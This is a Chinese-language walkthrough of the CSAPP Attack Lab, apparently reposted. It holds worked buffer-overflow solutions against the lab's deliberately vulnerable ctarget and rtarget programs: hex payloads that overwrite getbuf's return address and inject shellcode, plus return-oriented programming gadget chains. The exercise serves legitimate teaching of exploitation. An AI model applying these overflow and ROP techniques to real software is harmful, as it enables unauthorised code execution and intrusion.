《CSAPP》實驗三:緩沖區溢出攻擊


緩沖區溢出攻擊也是第三章的配套實驗,實驗提供了兩個有緩沖區溢出漏洞的x86-64程序(CSAPP 3e: Attack Lab),要求我們設計“惡意輸入”,利用程序漏洞,實現指令注入,執行未授權代碼。兩個漏洞程序:ctarget 和 rtarget。ctarget 對運行時棧無保護,既沒有棧地址隨機化,也允許執行棧上的指令,十分容易攻擊。rtarget 則開啟了棧地址隨機化,且不允許執行棧上的指令,因此無法利用指令注入,對它的攻擊被稱為return-oriented programming (ROP),要利用到程序中原有的一些特殊的字節序列:gadget。

原理

程序用運行時棧(runtime stack)實現C語言中“函數”的概念。調用一個函數所需的棧空間被稱為棧幀,按地址從大往小,從棧底往棧頂看,一個棧幀中依次保存了寄存器,局部變量,調用其他函數所需的參數,返回地址等,如下圖所示(《CSAPP》圖3-25)。函數執行完跳轉回調用方,需要執行ret指令,ret可分為兩步:一是從棧中彈出返回地址;二是設置程序計數器(Program Counter)%rip,將控制流轉移到彈出的返回地址。當程序在棧上的緩沖區溢出,返回地址就可能被篡改,使得控制流跳轉到未授權的指令。通過設計惡意輸入,還能夠在棧上注入指令,執行攻擊者的非法操作。

棧幀結構

objdump -d ctarget > ctarget.d,導出實驗給出的的有緩存區溢出危險的函數如下。可以看到緩沖區大小為0x28,因此設計惡意輸入時,要先用40字節寫滿緩沖區,下文就不再浪費筆墨寫這40字節了。由於緩沖區是從棧頂向棧底寫入的,且getbuf沒有保存寄存器,看上面的棧幀結構圖就知道,填滿緩沖區之后,溢出的部分可以直接覆蓋返回地址,這是攻擊的基礎。

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq
  4017be:   90                      nop
  4017bf:   90                      nop

實驗提供了詳細的說明,見attacklab.pdf。ctarget和rtarget包含了3個相同的目標函數:touch1touch2touch3。實驗要求設計惡意輸入,在棧上修改getbuf的返回地址並設計參數,調用這3個目標函數(rtarget不需要調用touch1),cookie是實驗提供的一個標識值,0x59b997fa。

void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

ctarget

phase_1

  • 反匯編ctarget,objdump -d ctarget > ctarget.d
  • 找到touch1的入口地址為0x004017c0
  • 注意先填滿40字節緩沖區,且緩沖區是由棧頂向棧底寫入的,地址應該從低字節向高字節寫
  • 保存答案為phase_1,檢查答案執行./hex2raw < phase_1 | ./ctarget -q
// 棧頂(低地址)
// 40 字節,寫滿緩沖區
c0 17 40 00 00 00 00 00
// 棧頂(高地址)

phase_2

  • 總的來說,要構造這樣的一個惡意輸入:
// 棧頂(低地址)
// 40 字節,寫滿緩沖區
// <-- getbuf 開始執行 ret 時,%rsp 的位置
注入的指令的地址
// <-- getbuf 執行完 ret 時,%rsp 的位置
touch2 的地址
movl $cookie, %edi
ret
// 棧頂(高地址)
  • ctarget 沒有隨機化棧地址,gdb在getbufret指令設斷點,取到%rsp的值
  • 注入的指令的地址 應為 %rsp + 0x10,為 0x5561dcb0
  • touch2地址為0x004017ec
  • movl $0x59b997fa, %edi 機器碼為 bf fa 97 b9 59ret 機器碼為 c3
  • 綜上,答案如下:
// 棧頂(低地址)
// 40 字節,寫滿緩沖區
b0 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00
bf fa 97 b9 59
c3
// 棧頂(高地址)

phase_3

  • touch3的參數是字符串,需要在棧上存儲字符串
  • 棧是向下(低地址)增長的,為了避免字符串參數被覆蓋,其地址應高於返回地址,思路如下:
// 棧頂(低地址)
// 40 字節,寫滿緩沖區
// <-- getbuf 開始執行 ret 時,%rsp 的位置
注入的指令的地址
// <-- getbuf 執行完 ret 時,%rsp 的位置
touch3 的地址
cookie 字符串
// getbuf 執行完 ret 時,cookie 字符串地址為 %rsp + 0x8
leaq 0x8(%rsp), %rdi
ret
// 棧頂(高地址)
  • 同phase_2,gdb在getbufret指令設斷點,取到%rsp的值
  • 注入的指令的地址 應為 %rsp + 0x200x20為兩個地址加字符串長度,為0x5561dcc0
  • touch3地址為 0x004018fa
  • python -c "print(' '.join(hex(ord(i))[2:] for i in '59b997fa'))"
  • 將cookie轉為其ASCII的十六進制表示
  • 注意C字符串以0結尾,為了方便計算補了8個字節0,這也是上面0x20的來源
  • leaq 0x8(%rsp), %rdi機器碼48 8d 7c 24 08,綜上,答案:
// 棧頂(低地址)
// 40 字節,寫滿緩沖區
c0 dc 61 55 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61  // 字符串
00 00 00 00 00 00 00 00  // 字符串結尾,8個字節方便計算
48 8d 7c 24 08
c3 // ret
// 棧頂(高地址)

rtarget

與ctarget相比,對rtarget的攻擊存在兩個難點:

  • 引入了棧地址隨機化,無法像攻擊ctarget那樣取得棧地址的絕對值。
  • 棧上的指令不可執行,即使在棧注入指令,執行了也是 segmentation fault。

第一點可以通過相對地址,即 %rsp + offset 的方式解決。
第二點則要利用rtarget中原有的特殊字節序列:gadget。上文的實驗說明給了一個例子,程序中有這樣的一個函數:

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

其中48 89 c7movq %rax, %rdi的機器碼,后面接着c3,即retq。緩沖區溢出,改寫getbuf的返回地址為48 89 c7的地址(0x400f18),就能執行movq %rax, %rdi這條指令,接着retq,使得攻擊者可以繼續利用上述過程執行攻擊指令。以上攻擊手段被稱為return-oriented programming,48 89 c7 c3就是一個"gadget"。實驗給出了所有可利用的gadget的源碼,在farm.c,attacklab.pdf列出了rtarget中所有gadget及對應的指令。

phase_4

  • phase_4 要求調用touch2,需要傳參,可以先把參數寫入棧,再利用gadget popq %rdi
  • 搜索發現gadget farm沒有 popq %rdi,只有 popq %raxmovq %rax, %rdi
  • 找到popq %raxmovq %rax, %rdi地址分別為0x004019cc,0x004019a2
// 棧頂(低地址)
// 40 字節,寫滿緩沖區

// <-- getbuf 開始執行 ret 時,%rsp 的位置
cc 19 40 00 00 00 00 00 // gadget "popq %rax" 地址

// <-- popq %rax 開始執行時,%rsp 的位置
fa 97 b9 59 00 00 00 00 // cookie

// <-- gadget "popq %rax" 開始執行 ret 時,%rsp 的位置
a2 19 40 00 00 00 00 00 // gadget "movq %rax, %rdi" 地址

// <-- gadget "movq %rax, %rdi"  開始執行 ret 時,%rsp 的位置
ec 17 40 00 00 00 00 00 // touch2 地址

// 棧頂(高地址)

phase_5

  • touch3的參數是字符串,這要求我們在棧上存儲字符串,且要取得字符串的地址
  • 由於棧地址隨機化,只能相對尋址,需要類似leaq $offset(%rsp), %rdi的指令
  • 搜索gadget farm發現只有lea (%rdi, %rsi, 1), %rax
  • 所以$offset也要放到棧上,再popq %rdipopq %rsi
  • 注意取棧地址時,%rsp不能作為movl的操作數,movl會對高位4字節補零
  • 字符串地址必須比touch3返回地址高,否則會被覆蓋
  • $offset為字符串地址相對於getbuf開始執行時的棧地址的偏移值,為0x48
  • farm上的指令有限,需要做一些轉換,綜上,答案如下:
// 棧頂(低地址)
// 40 字節,寫滿緩沖區
// <-- getbuf 開始執行 ret 時,%rsp 的位置
movq %rsp, %rax             // 0x00401a06
movq %rax, %rdi             // 0x004019a2
popq %rax                   // 0x004019ab
// <-- "popq %rax" 開始執行時,%rsp 的位置
// $offset
movl %eax, %edx             // 0x004019dd
movl %edx, %ecx             // 0x00401a34
movl %ecx, %esi             // 0x00401a13
leaq (%rdi, %rsi, 1), %rax  // 0x004019d6
movq %rax, %rdi             // 0x004019a2
// touch3 地址 0x004018fa
// cookie 字符串


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM